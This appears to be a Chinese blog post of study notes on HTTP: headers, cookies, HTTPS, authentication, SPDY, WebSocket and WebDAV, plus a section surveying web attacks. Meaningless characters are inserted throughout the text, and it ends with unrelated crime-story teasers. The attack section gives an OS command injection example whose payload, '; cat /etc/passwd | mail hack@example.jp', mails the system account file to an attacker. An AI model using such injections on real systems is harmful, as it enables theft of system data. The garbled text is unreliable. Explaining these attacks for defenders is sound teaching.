  • Etag:告知客戶端的實體標(biāo)志破加,資源更新,Etag的值也會更新雹嗦。中英文所對應(yīng)的資源是不同的范舀,資源被緩存時,就會被分配唯一性標(biāo)準(zhǔn)了罪。
    • 強ETag:不管發(fā)生多么細微的變換锭环,都會改變其值。
    • 弱:發(fā)生根本改變時才更改ETag值泊藕,此時會在字段最開始處附加W/辅辩。
  • Location:將響應(yīng)接收方引導(dǎo)至某個與請求URI位置不同的資源(配合3xx一起使用,提供重定向的URI)
  • Proxy-Authenticate:會把代理服務(wù)器所要求的認真信息發(fā)送給客戶端娃圆。
  • Retry-After:告訴客戶端應(yīng)該在多久之后再次發(fā)送請求玫锋。(配合3xx和503 Service Unavailable使用),可以指定具體日期讼呢,也可以指定多少秒后撩鹿。
  • Server:告知客戶端當(dāng)前服務(wù)器上安裝的HTTP服務(wù)器應(yīng)用軟件的信息(可能包括版本號,啟動的可選項)
  • Vary:


    源服務(wù)器給代理服務(wù)器的首部字段悦屏,僅對請求中含有相同Vary指定首部字段的請求返回緩存节沦。

  • WWW-Authenticate:用于HTTP訪問認證,它會告知客戶端適用于訪問請求URI所制定資源的認證方案(Basic和Digest)和帶參數(shù)提示的質(zhì)詢础爬。

6.4 實體首部字段

請求和響應(yīng)報文實體中所使用的首部甫贯,用于補充內(nèi)容的更新時間等實體相關(guān)的信息。

  • Allow:用于通知客戶端能夠支持Request-URI指定資源的所有HTTP方法看蚜。當(dāng)接收到不支持的HTTP方法時叫搁,會以狀態(tài)碼405 Method Not Allowed作為響應(yīng)返回。與此同時失乾,還會把所有能支持的HTTP方法寫入Allow返回常熙。
  • Content-Encoding:告知客戶端對實體主體部分選用的內(nèi)容編碼方式。
  • Content-Language:告知客戶端實體使用的自然語言
  • Content-Length:主體部分大小碱茁,單位是字節(jié)裸卫。
  • Content-Location:表示的是報文主體返回資源對應(yīng)的URI。
  • Content-MD5:客戶端會對接收的報文主體執(zhí)行相同的MD5算法纽竣,然后與首部字段Content-MD5的字段值比較墓贿。
  • Content-Range:針對范圍請求茧泪,返回響應(yīng)時使用該字段,告知客戶端作為響應(yīng)返回的實體的哪個部分符合范圍請求聋袋。
  • Content-Type:實體主體內(nèi)對象的媒體類型队伟,和首部字段Accept一樣。
  • Expires:將資源失效的日期告知緩存服務(wù)器幽勒。接收到以后嗜侮,在Expires值指定時間之前,響應(yīng)的副本會一直被保存啥容。若超過锈颗,若有請求過來,會轉(zhuǎn)向源服務(wù)器請求資源咪惠。(如果源服務(wù)器不希望代理服務(wù)器緩存資源击吱,可把Expires字段內(nèi)寫入與Date相同的時間值)
  • Last-Modified:指明資源最終修改的時間(一般來說為Request-URI資源修改時間,但是使用CGI腳本進行動態(tài)數(shù)據(jù)處理時遥昧,值可能會發(fā)生改變)

6.6 為Cookie服務(wù)的首部字段

將數(shù)據(jù)寫入客戶計算機內(nèi)覆醇,接著當(dāng)用戶訪問該Web網(wǎng)站時,可通過通信方式取回之前發(fā)放的Cookie炭臭。(很多標(biāo)準(zhǔn)永脓,并非RFC6265中任何一個,而是最廣泛的網(wǎng)景公司制定的標(biāo)準(zhǔn)上進行擴展后的產(chǎn)物)


  • Set-Cookie:當(dāng)服務(wù)器準(zhǔn)備開始管理客戶端的狀態(tài)時徽缚,會事先告知各種信息憨奸。
    • NAME=VALUE:Cookie的名稱和其值(必填)
    • expires=DATE:Cookie的有效期(不明確指定則默認為瀏覽器關(guān)閉前位置),有效期僅限于維持瀏覽器會話時間段內(nèi)凿试。服務(wù)器不能顯示刪除Cookie排宰,只能覆蓋。
    • path=PATH:將服務(wù)器上的文件目錄作為Cookie的適用對象(默認為文檔所在文件目錄)那婉,限制發(fā)送范圍的目錄(有方法繞過板甘,不抱安全機制效果的期待)
    • domain=域名:作為Cookie適用對象的域名(默認為創(chuàng)建Cookie的服務(wù)器域名),結(jié)尾匹配一致详炬。example.com盐类,則www.example.comwww2.example.com都可以發(fā)送Cookie。
    • Secure:僅在HTTPS安全通信時才會發(fā)送Cookie呛谜,即使域名一樣也只有在HTTPS情況下才發(fā)生Cookie回收在跳。
    • HttpOnly:Cookie不能被js腳本訪問。
  • Cookie:告知服務(wù)器隐岛,當(dāng)客戶端想獲得HTTP狀態(tài)管理支持時猫妙,就會在請求中包含從服務(wù)器接收到的Cooke,接收到多個Cookie時聚凹,同樣可以以多個Cookie形式發(fā)送割坠。

6.7 其他首部字段

  • X-Frame-Options: DENY: 屬于HTTP響應(yīng)首部齐帚,用于控制網(wǎng)站內(nèi)容在其他Web網(wǎng)站的Frame標(biāo)簽內(nèi)的顯示問題。主要為了防止點擊劫持攻擊彼哼。
    • DENY:拒絕
    • SAMEORIGIN:僅同源域名下的頁面匹配時許可对妄。
  • X-XSS-Protection:屬于響應(yīng)首部,用于控制瀏覽器XSS防護機制的開關(guān)敢朱。
    • 0:將XSS過濾設(shè)置成無效狀態(tài)
    • 1:將XSS過濾設(shè)置成有效狀態(tài)
  • DNT:請求首部剪菱,Do Not Track,拒絕個人信息被收集拴签,是表示拒絕被精確廣告追蹤的一種方法琅豆。
    • 0:同意
    • 1:拒絕
  • P3P(在線隱私偏好平臺):響應(yīng)首部,可以讓W(xué)eb網(wǎng)站上的個人隱私編程一種僅供程序可理解的形式篓吁,以達到保護用戶隱私的作用。
    • 創(chuàng)建P3P隱私
    • 保存在/w3c/p3p.xml
    • 從P3P隱私中新建Compact policies后蚪拦,輸出到HTTP響應(yīng)中杖剪。

7. 確保Web安全的HTTPS

7.1 HTTP缺點

  • 通信使用明文,內(nèi)容可能被竊聽
    • TCP/IP協(xié)議族的工作機制驰贷,導(dǎo)致就算被加密盛嘿,加密后的信息還是會被看見。
    • 加密處理防止被竊聽:
      • 通信的加密:HTTP協(xié)議中沒有加密機制括袒,但可以通過SSL(Secure Socket Layer安全套接層)或TSL(Transport Layer Security安全層傳輸協(xié)議)的組合使用次兆,加密HTTP通信內(nèi)容。用SSL建立安全通信線路之后锹锰,就可以在這條線路上進行HTTP通信了故稱HTTPS(HTTP over Secur)芥炭。
      • 內(nèi)容的加密:把報文主體進行加密(內(nèi)容仍有被篡改的風(fēng)險)
  • 不驗證通信方身份,因此可能遭遇偽裝(不能驗證真正的擁有資源方和真正的提出請求方)
    • 任何人都可以發(fā)送請求


    • 查明對手的證書


  • 無法證明報文的完整性恃慧,所以有可能已遭篡改
    • 接收到的內(nèi)容可能有誤(A傳給123給B园蝠,B收到1234,但是B無法得知這個內(nèi)容是否是A發(fā)出的那個數(shù)字痢士。)——中間人攻擊彪薛。
    • 如何防止篡改:使用MD5或者SHA-1等散列值校驗,以及用來確認文件的數(shù)字簽名方法怠蹂。需要用戶本人親自檢查驗證善延,而且即使這樣也無法百分之百確保,因為PGP和MD5本身被改寫的話城侧。

7.2 HTTP+加密+認證+完整性保護=HTTPS

  • HTTPS是身披SSL外殼的HTTP


  • 相互交換密鑰的公開密鑰加密技術(shù):加密算法公開易遣,密鑰是保密的。
    • 共享密鑰加密的困境:加密解密用同一個密鑰的方式稱為共享密鑰加密赞庶。


    • 使用兩把密鑰的公開密鑰加密训挡,使用一對非對稱的密鑰澳骤。一把叫做私有密鑰,一把叫做公有密鑰澜薄。發(fā)送密文的一方使用對方的公鑰進行加密为肮,接收方使用自己的私鑰進行解密,利用這種方式肤京,不需要發(fā)送用來解密的私有密鑰颊艳。
    • HTTPS采用混合加密機制:若密鑰能夠?qū)崿F(xiàn)安全交換,那么有可能會考慮僅使用公開密鑰加密來忘分,但是公開密鑰加密處理速度比共享密鑰要慢棋枕。故:交換密鑰環(huán)節(jié)使用公開密鑰加密方式,之后建立通信交換報文階段采用共享密鑰加密妒峦。
  • 證明公開密鑰正確性的證書:
    • 可證明組織真實性的EV SSL證書:基于國際標(biāo)準(zhǔn)的認證指導(dǎo)方針頒發(fā)的證書重斑。其嚴格規(guī)定了對運營組織是否真實的確認方針。
    • 用以確認客戶端的客戶端證書:銀行安裝證書肯骇,但是問題在于只能用于證明客戶端實際存在窥浪,而不能用來證明用戶本人的真實有效性。
    • 認證機構(gòu)信譽第一
  • HTTPS的安全通信機制:
  • SSL和TLS:TSL是以SSL為原型開發(fā)的協(xié)議笛丙。
  • SSL速度慢嗎:
    • 通信慢:網(wǎng)絡(luò)負載可能會變成2到100倍
    • 運算慢:在服務(wù)器和客戶端都需要進行加密和解密的運算處理漾脂。(SSL加速器分擔(dān)負載)
  • 為什么不一直使用HTTPS:花銷太大,僅對敏感信息使用HTTPS胚鸯。

8. 確認訪問用戶身份的認證

某些Web頁面只想讓特定的人瀏覽

8.1 如何認證

用戶提供登陸者本人才知道的信息骨稿,登陸人本人才會有的信息:

  • 密碼
  • 動態(tài)令牌:本人持有的設(shè)備內(nèi)顯示的一次性密碼
  • 數(shù)字證書:終端持有的信息
  • 生物認證:虹膜,指紋姜钳,面部識別
  • IC卡

HTTP使用的認證方式:

  • BASIC認證:基本認證
  • DIGEST認證:摘要認證
  • SSL客戶端認證
  • FormBase認證(基于表單認證)

8.2 BASIC認證(HTTP/1.0):


缺點:

  • 安全等級不夠
  • 一般的瀏覽器無法實現(xiàn)認證注銷操作
  • 不靈活且不安全坦冠,故不經(jīng)常使用

8.3 DIGEST 認證(HTTP/1.1):

同樣使用質(zhì)詢/響應(yīng)的方式,但不會像BASIC認證那樣直接發(fā)送明文密碼傲须。
  • 步驟1:WWW-Authenticate包含質(zhì)問響應(yīng)方式認證所需單質(zhì)詢碼蓝牲。
    • 包含realm和nonce這兩個字段,nonce是一種每次隨返回的401響應(yīng)生成的隨機字符串泰讽。
  • 步驟2:Authenticate包含username例衍,realm,nonce已卸,uri和response的字段信息佛玄。realm和nonce是之前從服務(wù)器接收到的響應(yīng)中的字段。
    • uri即Resquest-URI累澡,但由于轉(zhuǎn)發(fā)所以值會被修改梦抢,所以會事先復(fù)制一份副本保存在uri。
    • response叫做Request-Digest愧哟,放經(jīng)過MD5運算后的密碼字符串奥吩,形成響應(yīng)碼哼蛆。
  • 步驟3:服務(wù)器確認認證信息的正確性,認證通過后則返回包含Request-URI資源的響應(yīng)霞赫。
  • DIGEST認證和BASIC認證一樣腮介,使用上不靈活,安全級別也不夠端衰,因此使用范圍受限叠洗。

8.4 SSL客戶端認證:

用戶ID和密碼只要兩者內(nèi)容正確,即可認證是本人的行為旅东。但如果用戶ID和密碼被盜灭抑,就很可能被第三者冒充。SSL客戶端認證可以避免該情況的發(fā)生抵代。憑客戶端認證腾节,服務(wù)器可能確認訪問是否來自己登錄的客戶端。

  • SSL客戶端認證的認證步驟:1. 服務(wù)器發(fā)送Certificate Request報文荤牍,要求客戶端提供客戶端證書——>2. 客戶端將證書以Client Certificate報文方式發(fā)送給服務(wù)器——>3. 服務(wù)器驗證客戶端證書驗證通過后方可領(lǐng)取客戶端單公開密鑰禀倔,開始HTTPS加密通信。
  • SSL客戶端認證采用雙因素認證:
    • SSL客戶端證書用來認證客戶端計算機
    • 密碼用來確認這是本人行為
  • SSL客戶端認證必要的費用:從認證機構(gòu)購買客戶端證書的費用参淫,以及服務(wù)器運行者為保證自己搭建的認證機構(gòu)安全運營所產(chǎn)生的費用啤贩。

8.5 基于表單認證:

客戶端會向服務(wù)器上的web應(yīng)用程序發(fā)送登錄信息弛车,按登錄信息的驗證結(jié)果認證椎组。

  • 認證多半基于表單認證:DIGEST和BASIC認證幾乎不使用然眼,SSL客戶端認證代價太高懈涛,尚未普及卦睹。SSH和FTP協(xié)議合乎標(biāo)準(zhǔn)并且滿足安全使用級別越妈,因此這些協(xié)議的認證可以直接拿來使用泪勒。
  • Session管理及Cookie應(yīng)用:規(guī)范尚未有定論跌前,一般會使用Cookie來管理Session會話棕兼。
  • HTTPS傳輸用戶ID和密碼等信息
  • 服務(wù)器會發(fā)放用以識別用戶的session ID。通過驗證從客戶端發(fā)送過來的登錄信息進行身份驗證抵乓,然后把用戶的認證狀態(tài)與Session ID綁定后記錄在服務(wù)器端伴挚。返回響應(yīng)時,會在Set-Cookie內(nèi)寫入Session ID中灾炭。因此必須防止Session ID被盜茎芋。為了做到這點,Session ID應(yīng)使用難以推測的字符串蜈出,服務(wù)器也要進行有效期管理田弥,保證安全性,建議事先在Cookie內(nèi)加上httponly屬性铡原。
  • 客戶端接收到從服務(wù)端發(fā)來的Session ID后偷厦,會將其作為Cookie保存在本地商叹。下次向服務(wù)器發(fā)送請求時,會自動發(fā)送Cookie只泼,所以Session ID也隨之發(fā)送到服務(wù)器剖笙。
  • 不僅表單認證登錄過程沒標(biāo)準(zhǔn)化,服務(wù)器如何保存用戶提交的密碼等登錄信息也沒有標(biāo)準(zhǔn)化辜妓。(一種安全的保存方法是枯途,先利用給密碼加鹽的方式增加額外信息,再使用散列函數(shù)計算出散列值后保存籍滴。)

9. 基于HTTP的功能追加協(xié)議

功能不能滿足時代發(fā)展酪夷,故出現(xiàn)很多基于HTTP協(xié)議的協(xié)議

9.1 消除HTTP瓶頸的SPDY

google發(fā)布SPDY目標(biāo)解決HTTP的性能瓶頸,縮短Web頁面的加載時間(50%)孽惰。

  • Facebook 和 Twitter這樣的SNS網(wǎng)站上晚岭,為了盡可能實時地顯示這些更新的內(nèi)容,服務(wù)器上一有內(nèi)容更新勋功,就需要直接把那些內(nèi)容反饋到客戶端的界面上坦报。如果使用HTTP,需要頻繁地從客戶端到服務(wù)端進行確認狂鞋,如果服務(wù)器上沒有內(nèi)容更新片择,那么就會產(chǎn)生徒勞的通信。
    • 一條連接上只可發(fā)送一個請求骚揍。
    • 請求只能從客戶端開始字管,客戶端不可以接收除響應(yīng)以外的指令
    • 請求/響應(yīng)首部未經(jīng)壓縮就發(fā)送,首部信息越多延遲越大信不。
    • 發(fā)送冗長的首部嘲叔,每次互相發(fā)送相同首部造成的浪費較多。
    • 可任意選數(shù)據(jù)壓縮格式抽活,非強制壓縮發(fā)送硫戈。
  • AJAX的解決方法:


  • Comet的解決方法:Comet會將響應(yīng)置于掛起狀態(tài),當(dāng)服務(wù)器端有內(nèi)容更新時下硕,再返回該響應(yīng)丁逝。因此服務(wù)器一旦有更新,就可以立即反饋給客戶端梭姓。雖然可以做到實時更新果港,但為了保留想有,一次連接的持續(xù)時間也變長了糊昙,也會消耗更多資源辛掠。扔未解決根本問題。
  • SPDY的目標(biāo):
    • 設(shè)計與功能,在應(yīng)用層與運輸層之間通過新加會話層的形式運作萝衩。同時回挽,考慮到安全性問題,SPDY規(guī)定通信中使用SSL猩谊。


    • 使用SPDY后千劈,HTTP協(xié)議額外獲得以下功能:
      • 多路復(fù)用流:一個TCP連接,可以處理無限多個HTTP請求牌捷;
      • 賦予請求優(yōu)先級:解決因?qū)拵У投鴮?dǎo)致響應(yīng)變慢的問題墙牌。
      • 壓縮HTTP首部;
      • 推送功能:支持服務(wù)器主動向客戶端推送數(shù)據(jù)的功能暗甥。
      • 服務(wù)器提示功能:服務(wù)器可以主動提示客戶端請求所需的資源喜滨。客戶端發(fā)現(xiàn)資源之前就可以獲知資源的存在撤防,因此在資源已緩存等情況下虽风,可以避免發(fā)送不必要的請求。
    • SPDY消除Web瓶頸了嗎
      • 實際運用狀態(tài)不佳
      • 只將單個域名的通信多路復(fù)用寄月,因為SPDY基本上只是將單個域名的通信多路復(fù)用辜膝,當(dāng)一個Web網(wǎng)站上使用多個域名下的資源,改善效果就會受限漾肮。
      • 并非所有瓶頸問題都是因為HTTP問題厂抖,所以還需要其他方面的改善。

9.2 使用瀏覽器進行全雙工通信WebSocket

問題在于通信若使用HTTP協(xié)議克懊,就無法徹底解決瓶頸問題验游。

  • WebSocket的設(shè)計與功能:解決XMLHttpRequest附帶的缺陷引起的問題。
  • WebSocket協(xié)議:一旦服務(wù)器與客戶端建立起該協(xié)議的通信保檐,之后所有的通信都依靠這個專用協(xié)議進行。因為基于HTTP崔梗,因此發(fā)起方仍是客戶端夜只。
    • 推送功能
    • 減少通信量:連接就一直保持連接狀態(tài)。和HTTP相比蒜魄,不但每次連接時的總開銷減少扔亥,由于WebSocket的首部信息很小,通信量也相應(yīng)減少了谈为。
  • 握手-請求:為了實現(xiàn)WebSocket通信旅挤,需要用到HTTP的Upgrade首部字段,告知服務(wù)器通信協(xié)議發(fā)生改變伞鲫,以達到握手的目的粘茄。
    • Sec-WebSocket-Key:記錄握手過程中必不可少的鍵值
    • Sec-WebSocket-Protocol:使用的子協(xié)議(在連接分開使用時,定義那些連接的名稱)
  • 握手-響應(yīng):對于之前的請求,返回狀態(tài)碼101 Switching Protocols的響應(yīng)柒瓣。
    • Sec-WebSocket-Key由請求中的Key字段值生成儒搭。
    • 成功連接后,通信時不再使用HTTP的數(shù)據(jù)幀芙贫,而采用WebSockets獨立數(shù)據(jù)幀搂鲫。

9.3 期盼已久的HTTP/2.0

  • 特點:改善用戶在使用Web時的速度體驗。
  • 基于以下幾點:
    • SPDY
    • HTTP Speed + Mobility
    • Network-Friendly HTTP Upgrade

9.4 Web服務(wù)器管理文件的WebDev

創(chuàng)建刪除基本功能磺平,還具有文件創(chuàng)建者管理魂仍,文件編輯過程中禁止其他用戶內(nèi)容覆蓋的加鎖功能。



使用HTTP/1.1的PUT方法和DELETE方法拣挪,就可以對Web服務(wù)器上的文件進行創(chuàng)建和刪除操作擦酌,但是處于安全性考慮,一般不使用媒吗。

  • 擴展HTTP/1.1的WebDAV:針對服務(wù)器上的資源仑氛,WebDAV新增加了一些概念:


    • 集合:統(tǒng)一管理多個資源的概念;
    • 資源:文件或集合闸英;
    • 屬性:定義資源的屬性:"名稱 = 值"
    • 鎖:把文件設(shè)置成無法編輯狀態(tài)锯岖,多人同時編輯室,可防止在同一時間進行內(nèi)容寫入甫何。
  • WebDAV為實現(xiàn)遠程文件管理出吹,向HTTP/1.1中追加了以下這些方法:
    • PROPFIND:獲取屬性
    • PROPPATCH:修改屬性
    • MKCOL:創(chuàng)建集合
    • COPY:復(fù)制資源及屬性
    • MOVE:移動
    • LOCK:枷鎖
    • UNLOCK:資源解鎖

    • 102:處理中
    • 207:存在多種狀態(tài)
    • 422:格式正確,內(nèi)容有誤
    • 423:已加鎖
    • 424:處理與某請求關(guān)聯(lián)的請求失敗辙喂,因此不再維持依賴關(guān)系捶牢。
    • 507:保存空間不足

10. 構(gòu)建Web內(nèi)容的技術(shù)

10.1 Web應(yīng)用

原本HTTP協(xié)議的Web機制就是對客戶端發(fā)來的請求,返回事前準(zhǔn)備好的內(nèi)容巍耗。隨著Web越發(fā)普及秋麸,需要引入程序創(chuàng)建HTML內(nèi)容的做法,這種由程序創(chuàng)建內(nèi)容的方法稱為動態(tài)內(nèi)容炬太。


  • 與Web服務(wù)器及程序協(xié)作的CGI(Common Gateway Interface灸蟆,通用網(wǎng)關(guān)接口)是指Web服務(wù)器在接收到客戶端發(fā)送過來的請求后轉(zhuǎn)發(fā)給程序的一組機制。在CGI的作用下亲族,程序會對請求內(nèi)容做出相應(yīng)的動作炒考,比如創(chuàng)建HTML等動態(tài)內(nèi)容。
  • 因Java而普及的Servlet

10.4 數(shù)據(jù)發(fā)布的格式及語言

  • XML
  • RSS
  • Atom
  • JSON

11. Web的攻擊技術(shù)

攻擊大都將Web站點作為目標(biāo)霎迫。

11.1 針對Web的攻擊技術(shù)

HTTP協(xié)議本身不存在安全性問題斋枢。應(yīng)用HTTP協(xié)議的服務(wù)器和客戶端以及運行在服務(wù)器上的Web應(yīng)用等資源才是攻擊目標(biāo)。
目前知给,來自互聯(lián)網(wǎng)的攻擊大都是沖著Web站點來的瓤帚。

  • HTTP不具備必要的安全功能:HTTP就是一個通用的單純協(xié)議機制,因此它具備很多優(yōu)勢,但是在安全性方面則呈劣勢缘滥。因此轰胁,開發(fā)者需要自行設(shè)計并開發(fā)認證及對話來滿足Web安全性,自行設(shè)計就會出現(xiàn)各種形形色色的實現(xiàn)朝扼。
  • 在客戶端即可篡改請求:從瀏覽器那接收到等HTTP請求的全部內(nèi)容赃阀,都可以在客戶端自由地更變,篡改擎颖,所以Web應(yīng)用可能收到與預(yù)期數(shù)據(jù)不同的內(nèi)容榛斯。在HTTP請求報文加載攻擊代碼,就能發(fā)起Web應(yīng)用的攻擊搂捧。
  • 針對Web應(yīng)用的攻擊模式
    • 主動攻擊:以服務(wù)器為目標(biāo)的主動攻擊驮俗,攻擊者直接訪問Web應(yīng)用,把攻擊代碼傳入的攻擊模式允跑,攻擊者需要能夠訪問到那些資源王凑。(SQL注入攻擊和OS命令注入攻擊)
    • 被動攻擊:以服務(wù)器為目標(biāo)的被動攻擊,利用圈套策略執(zhí)行攻擊代碼的攻擊模式聋丝。攻擊者不直接對目標(biāo)Web應(yīng)用訪問發(fā)起攻擊索烹。
      • 攻擊者誘導(dǎo)用戶觸發(fā)已設(shè)置好的陷阱,啟動發(fā)送已嵌入攻擊代碼的HTTP請求弱睦。(廣告誘導(dǎo))
      • 用戶不知不覺中招后百姓,瀏覽器等就會觸發(fā)這個陷阱。
      • 中招后况木,瀏覽器把含有攻擊代碼的HTTP請求發(fā)送給Web應(yīng)用垒拢。
      • 執(zhí)行后,存在安全漏洞的Web應(yīng)用會成為攻擊者的跳板火惊,可能導(dǎo)致用戶所持的Cookie等個人信息被竊取求类,登錄狀態(tài)中的用戶權(quán)限遭惡意濫用等后果(跨站腳本攻擊,跨站點請求偽造)屹耐。
      • 利用用戶的身份攻擊企業(yè)內(nèi)部網(wǎng)絡(luò):利用被動攻擊尸疆,可發(fā)起原本從互聯(lián)網(wǎng)上無法直接訪問的企業(yè)內(nèi)網(wǎng)的攻擊。

11.2 因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞

  • 客戶端的驗證:不適合作為防范對策张症,只是為了今早地識別輸入錯誤,提高UI體驗的作用鸵贬。
  • Web應(yīng)用程序的驗證
    • 輸入值驗證:按Web應(yīng)用內(nèi)的處理則有可能被誤認為是具有攻擊性意義的代碼俗他。輸入值驗證檢查是否符合系統(tǒng)業(yè)務(wù)邏輯的數(shù)值或檢查字符編碼等預(yù)防對策。
    • 輸出值轉(zhuǎn)義:當(dāng)輸出值轉(zhuǎn)義不完全時阔逼,會因觸發(fā)攻擊者傳入的代碼兆衅,而給輸出對象帶來損害。
  • 攻擊方法:
    • 跨站腳本攻擊:主要利用表單的輸出值沒有轉(zhuǎn)義,在表單中執(zhí)行攻擊者的腳本羡亩。
      • 在表單中輸入HTML標(biāo)簽
      • 在表單中輸入執(zhí)行腳本把客戶表單中賬號密碼發(fā)送到自己的站點上
      • 在表單中執(zhí)行自己定義好的腳本獲取用戶Cookie
    • SQL注入攻擊:


      這樣摩疑,攻擊者就能看到一些還沒有發(fā)售的書的資料了。

    • OS命令注入攻擊:郵件發(fā)送的情況:
    my $adr = $q -> param('mailaddress');
    open(MALL, "| /usr/sbin/sendmail $adr");
    print MAIL "From: info@example.com\n";
    
    攻擊者將:
    ; cat /etc/passwd | mail hack@example.jp
    
    作為郵件地址畏铆,則會執(zhí)行cat /etc/passwd | mail hack@example.jp命令雷袋,含有Linux賬戶信息 /etc/passwd的文件就以郵件形式發(fā)給了攻擊者郵件。
    • HTTP首部注入攻擊
      • 設(shè)定任何Cookie信息
      • 重定向至任意URL
      • 顯示任意的主體信息



        攻擊者以:


        代替之前的類別ID后發(fā)送請求辞居,由于該uri會加入到首部字段Location中楷怒,則:
      • HTTP響應(yīng)截斷攻擊:加入兩個換行符,重寫主體內(nèi)容瓦灶。
    • 郵件首部注入攻擊:與HTTP首部同理鸠删,加入換行符寫入攻擊性信息
    • 目錄遍歷攻擊:
    • 遠程文件包含漏洞:主要由于PHP存在的安全漏洞,對于PHP的include和require來說贼陶,這是一種可通過設(shè)定刃泡,制定外部服務(wù)器的URL作為文件名的功能。

11.3 因設(shè)置或設(shè)計上的缺陷引發(fā)的安全漏洞

  • 強制瀏覽:瀏覽器輸入框中猜測uri碉怔,進行強制瀏覽烘贴。
    • 泄露顧客的客人信息
    • 泄露原本需要有權(quán)限用戶才可查閱的內(nèi)容
    • 泄露未連接到外界的文件
    • 例子:對日記沒有權(quán)限查看,但是如果知道圖片uri眨层,沒有權(quán)限也可以查看到圖片庙楚。
  • 不正確的錯誤信息處理:
    • 登錄信息錯誤給得太詳細,攻擊者可以嘗試獲取一些賬號是否被注冊 —— 保留到只給出 認證錯誤
    • 內(nèi)部系統(tǒng)處理信息拋出給用戶看見趴樱,攻擊者根據(jù)系統(tǒng)信息獲取到一些系統(tǒng)關(guān)系馒闷。
      • PHP腳本錯誤
      • 數(shù)據(jù)庫或者中間件錯誤
      • Web服務(wù)器錯誤
  • 開放重定向:將重定向設(shè)置為攻擊者網(wǎng)站

11.4 因會話管理疏忽引發(fā)的安全漏洞

  • 會話劫持:攻擊者通過某種手段拿到了用戶的會話ID,并非法使用此會話ID偽裝成用戶叁征,達到攻擊的目的纳账。
    • 非正規(guī)方法推測Session ID
    • 竊聽或XSS攻擊盜取Session ID
    • 通過固定攻擊強行獲取會話ID
  • 會話固定攻擊

    先訪問Web網(wǎng)站拿到會話ID,會話ID在服務(wù)器上未認證捺疼,攻擊者設(shè)置陷阱等待用戶拿著這個會話ID前去驗證疏虫,一旦用戶完成驗證,攻擊者就可以使用這個ID訪問網(wǎng)站啤呼。

    • Session Adoption: PHP或ASP.NET能夠處理未知會話ID卧秘,攻擊者可私自創(chuàng)建會話ID構(gòu)成陷阱,中間件卻會誤以為該會話ID是未知會話ID而接受官扣。
  • 跨站點請求偽造
    • 利用已通過認證的用戶權(quán)限更新設(shè)定信息等
    • 購買商品
    • 發(fā)表非主觀評論

11翅敌。5 其他安全漏洞

  • 密碼破解
    • 通過網(wǎng)絡(luò)的密碼試錯
      • 窮舉法:把可能的密碼集合一個一個嘗試,總有正確的惕蹄,但是候選密碼很龐大時蚯涮,解密需要數(shù)年或者千年治专。
      • 字典攻擊:考慮到把生日日期數(shù)值化,比如將0101-1231保存成字典進行嘗試遭顶≌欧澹花費時間短,不一定成功棒旗。


      • 利用別處泄露的ID密碼進行攻擊喘批。
    • 對已加密密碼破解(侵入系統(tǒng),獲得加密或散列處理的密碼數(shù)據(jù)情況)嗦哆,一般不會直接以明文的方式保存密碼谤祖,通過散列函數(shù)或者加salt的手段對要保存的密碼本身加密。
      • 通過窮舉法字典攻擊進行類推:嘗試調(diào)用相同的散列函數(shù)加密候選碼與目標(biāo)散列值匹配老速。
      • 彩虹表:由明文密碼及與之對應(yīng)的散列值構(gòu)成的一張數(shù)據(jù)庫表粥喜,可在窮舉法字典攻擊等實際破解過程中縮短耗時。
      • 拿到密鑰:使用共享密碼加密式對密碼數(shù)據(jù)進行加密處理橘券,如果能通過某手段拿到加密使用的密鑰也就可以對密碼數(shù)據(jù)解密了额湘。
      • 加密算法漏洞:難找漏洞,難以成功旁舰。
  • 點擊劫持:點擊注銷就能從SNS網(wǎng)站上注銷會員身份锋华,目標(biāo)SNS注銷功能頁面將作為透明層覆蓋在游戲網(wǎng)頁上,覆蓋時箭窜,保證PLAY按鈕與注銷頁面所在位置一致毯焕。
  • Dos(Denial of Service attack)攻擊:讓運行服務(wù)器呈停止?fàn)顟B(tài)的攻擊。
    • 集中理由訪問請求造成資源過載磺樱。
    • 攻擊安全漏洞使服務(wù)停止纳猫。
  • 后門程序:指開發(fā)時設(shè)置隱藏入口,可不按正常步驟使用受限功能竹捉。
    • 開發(fā)階段debug調(diào)用的后門程序
    • 開發(fā)者為自身利益植入的
    • 攻擊者通過某種方法設(shè)置的
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末芜辕,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子块差,更是在濱河造成了極大的恐慌侵续,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,682評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件憨闰,死亡現(xiàn)場離奇詭異状蜗,居然都是意外死亡,警方通過查閱死者的電腦和手機鹉动,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評論 3 395
  • 文/潘曉璐 我一進店門轧坎,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人训裆,你說我怎么就攤上這事眶根。” “怎么了边琉?”我有些...
    開封第一講書人閱讀 165,083評論 0 355
  • 文/不壞的土叔 我叫張陵属百,是天一觀的道長。 經(jīng)常有香客問我变姨,道長族扰,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,763評論 1 295
  • 正文 為了忘掉前任定欧,我火速辦了婚禮渔呵,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘砍鸠。我一直安慰自己扩氢,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,785評論 6 392
  • 文/花漫 我一把揭開白布爷辱。 她就那樣靜靜地躺著录豺,像睡著了一般。 火紅的嫁衣襯著肌膚如雪饭弓。 梳的紋絲不亂的頭發(fā)上双饥,一...
    開封第一講書人閱讀 51,624評論 1 305
  • 那天,我揣著相機與錄音弟断,去河邊找鬼咏花。 笑死,一個胖子當(dāng)著我的面吹牛阀趴,可吹牛的內(nèi)容都是我干的昏翰。 我是一名探鬼主播,決...
    沈念sama閱讀 40,358評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼舍咖,長吁一口氣:“原來是場噩夢啊……” “哼矩父!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起排霉,我...
    開封第一講書人閱讀 39,261評論 0 276
  • 序言:老撾萬榮一對情侶失蹤窍株,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后攻柠,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體球订,經(jīng)...
    沈念sama閱讀 45,722評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
